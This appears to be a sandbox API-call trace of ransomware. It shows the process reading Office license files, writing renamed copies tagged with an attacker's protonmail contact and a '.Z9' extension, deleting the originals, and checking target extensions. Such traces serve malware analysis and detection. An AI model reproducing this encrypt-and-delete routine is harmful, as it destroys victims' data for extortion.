	[0187.350] lstrlenW (lpString=".jpg") returned 4
	[0187.350] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.351] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.351] lstrlenW (lpString="O365BusinessR_SubTrial-ppd.xrm-ms") returned 33
	[0187.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.352] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=22466) returned 1
	[0187.352] CloseHandle (hObject=0x37c) returned 1
	[0187.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 0x220
	[0187.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.353] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.353] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0187.353] GetLastError () returned 0x0
	[0187.353] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x57c2, lpOverlapped=0x0) returned 1
	[0187.732] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x57d0, lpOverlapped=0x0) returned 1
	[0187.733] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.733] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x116, lpOverlapped=0x0) returned 1
	[0187.733] SetEndOfFile (hFile=0x55c) returned 1
	[0187.733] CloseHandle (hObject=0x55c) returned 1
	[0187.733] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.733] SetEndOfFile (hFile=0x37c) returned 1
	[0187.739] CloseHandle (hObject=0x37c) returned 1
	[0187.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 1
	[0187.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.792] lstrlenW (lpString=".doc") returned 4
	[0187.792] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.792] lstrlenW (lpString=".docx") returned 5
	[0187.792] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.792] lstrlenW (lpString=".pdf") returned 4
	[0187.792] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.792] lstrlenW (lpString=".xls") returned 4
	[0187.792] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.792] lstrlenW (lpString=".xlsx") returned 5
	[0187.792] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.792] lstrlenW (lpString=".ppt") returned 4
	[0187.792] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.792] lstrlenW (lpString=".zip") returned 4
	[0187.792] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.792] lstrlenW (lpString=".rar") returned 4
	[0187.792] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.792] lstrlenW (lpString=".bz2") returned 4
	[0187.792] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.792] lstrlenW (lpString=".7z") returned 3
	[0187.792] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.792] lstrlenW (lpString=".dbf") returned 4
	[0187.792] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.792] lstrlenW (lpString=".1cd") returned 4
	[0187.793] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.793] lstrlenW (lpString=".jpg") returned 4
	[0187.793] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.793] lstrlenW (lpString=".doc") returned 4
	[0187.793] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString=".docx") returned 5
	[0187.793] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.793] lstrlenW (lpString=".pdf") returned 4
	[0187.793] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString=".xls") returned 4
	[0187.793] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString=".xlsx") returned 5
	[0187.793] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.793] lstrlenW (lpString=".ppt") returned 4
	[0187.793] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.793] lstrlenW (lpString=".zip") returned 4
	[0187.793] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString=".rar") returned 4
	[0187.793] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString=".bz2") returned 4
	[0187.793] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString=".7z") returned 3
	[0187.793] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.793] lstrlenW (lpString=".dbf") returned 4
	[0187.793] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.793] lstrlenW (lpString=".1cd") returned 4
	[0187.793] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0187.793] lstrlenW (lpString=".jpg") returned 4
	[0187.794] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.794] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.794] lstrlenW (lpString="O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 41
	[0187.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0187.794] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11651) returned 1
	[0187.794] CloseHandle (hObject=0x31c) returned 1
	[0187.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0187.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0187.799] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.799] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0187.800] GetLastError () returned 0x0
	[0187.800] ReadFile (in: hFile=0x31c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0187.876] WriteFile (in: hFile=0x444, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0187.877] ReadFile (in: hFile=0x31c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.877] WriteFile (in: hFile=0x444, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x126, lpOverlapped=0x0) returned 1
	[0187.878] SetEndOfFile (hFile=0x444) returned 1
	[0187.878] CloseHandle (hObject=0x444) returned 1
	[0187.878] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.878] SetEndOfFile (hFile=0x31c) returned 1
	[0187.904] CloseHandle (hObject=0x31c) returned 1
	[0187.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 1
	[0187.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.906] lstrlenW (lpString=".doc") returned 4
	[0187.906] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString=".docx") returned 5
	[0187.906] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.906] lstrlenW (lpString=".pdf") returned 4
	[0187.906] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString=".xls") returned 4
	[0187.906] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString=".xlsx") returned 5
	[0187.906] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.906] lstrlenW (lpString=".ppt") returned 4
	[0187.906] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.906] lstrlenW (lpString=".zip") returned 4
	[0187.906] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString=".rar") returned 4
	[0187.906] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString=".bz2") returned 4
	[0187.906] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString=".7z") returned 3
	[0187.906] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.906] lstrlenW (lpString=".dbf") returned 4
	[0187.906] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.906] lstrlenW (lpString=".1cd") returned 4
	[0187.906] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.906] lstrlenW (lpString=".jpg") returned 4
	[0187.906] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.906] lstrlenW (lpString=".doc") returned 4
	[0187.906] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.906] lstrlenW (lpString=".docx") returned 5
	[0187.907] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.907] lstrlenW (lpString=".pdf") returned 4
	[0187.907] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.907] lstrlenW (lpString=".xls") returned 4
	[0187.907] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.907] lstrlenW (lpString=".xlsx") returned 5
	[0187.907] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.907] lstrlenW (lpString=".ppt") returned 4
	[0187.907] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.907] lstrlenW (lpString=".zip") returned 4
	[0187.907] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.907] lstrlenW (lpString=".rar") returned 4
	[0187.907] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.907] lstrlenW (lpString=".bz2") returned 4
	[0187.907] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.907] lstrlenW (lpString=".7z") returned 3
	[0187.907] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.907] lstrlenW (lpString=".dbf") returned 4
	[0187.907] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.907] lstrlenW (lpString=".1cd") returned 4
	[0187.907] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0187.907] lstrlenW (lpString=".jpg") returned 4
	[0187.907] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.907] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.907] lstrlenW (lpString="O365HomePremR_Subscription4-ppd.xrm-ms") returned 38
	[0187.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0187.908] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=26541) returned 1
	[0187.908] CloseHandle (hObject=0x31c) returned 1
	[0187.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 0x220
	[0187.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0187.909] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.909] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0187.910] GetLastError () returned 0x0
	[0187.910] ReadFile (in: hFile=0x31c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0187.953] WriteFile (in: hFile=0x444, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0187.955] ReadFile (in: hFile=0x31c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.955] WriteFile (in: hFile=0x444, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x120, lpOverlapped=0x0) returned 1
	[0187.955] SetEndOfFile (hFile=0x444) returned 1
	[0187.955] CloseHandle (hObject=0x444) returned 1
	[0187.955] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.956] SetEndOfFile (hFile=0x31c) returned 1
	[0187.960] CloseHandle (hObject=0x31c) returned 1
	[0187.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 1
	[0187.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.962] lstrlenW (lpString=".doc") returned 4
	[0187.962] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.962] lstrlenW (lpString=".docx") returned 5
	[0187.962] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.962] lstrlenW (lpString=".pdf") returned 4
	[0187.962] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.962] lstrlenW (lpString=".xls") returned 4
	[0187.962] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.962] lstrlenW (lpString=".xlsx") returned 5
	[0187.962] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.962] lstrlenW (lpString=".ppt") returned 4
	[0187.962] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.962] lstrlenW (lpString=".zip") returned 4
	[0187.962] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.962] lstrlenW (lpString=".rar") returned 4
	[0187.962] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.963] lstrlenW (lpString=".bz2") returned 4
	[0187.963] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.963] lstrlenW (lpString=".7z") returned 3
	[0187.963] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.963] lstrlenW (lpString=".dbf") returned 4
	[0187.963] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.963] lstrlenW (lpString=".1cd") returned 4
	[0187.963] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.963] lstrlenW (lpString=".jpg") returned 4
	[0187.963] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.963] lstrlenW (lpString=".doc") returned 4
	[0187.963] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.963] lstrlenW (lpString=".docx") returned 5
	[0187.963] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.963] lstrlenW (lpString=".pdf") returned 4
	[0187.963] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.963] lstrlenW (lpString=".xls") returned 4
	[0187.963] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.963] lstrlenW (lpString=".xlsx") returned 5
	[0187.963] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.964] lstrlenW (lpString=".ppt") returned 4
	[0187.964] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
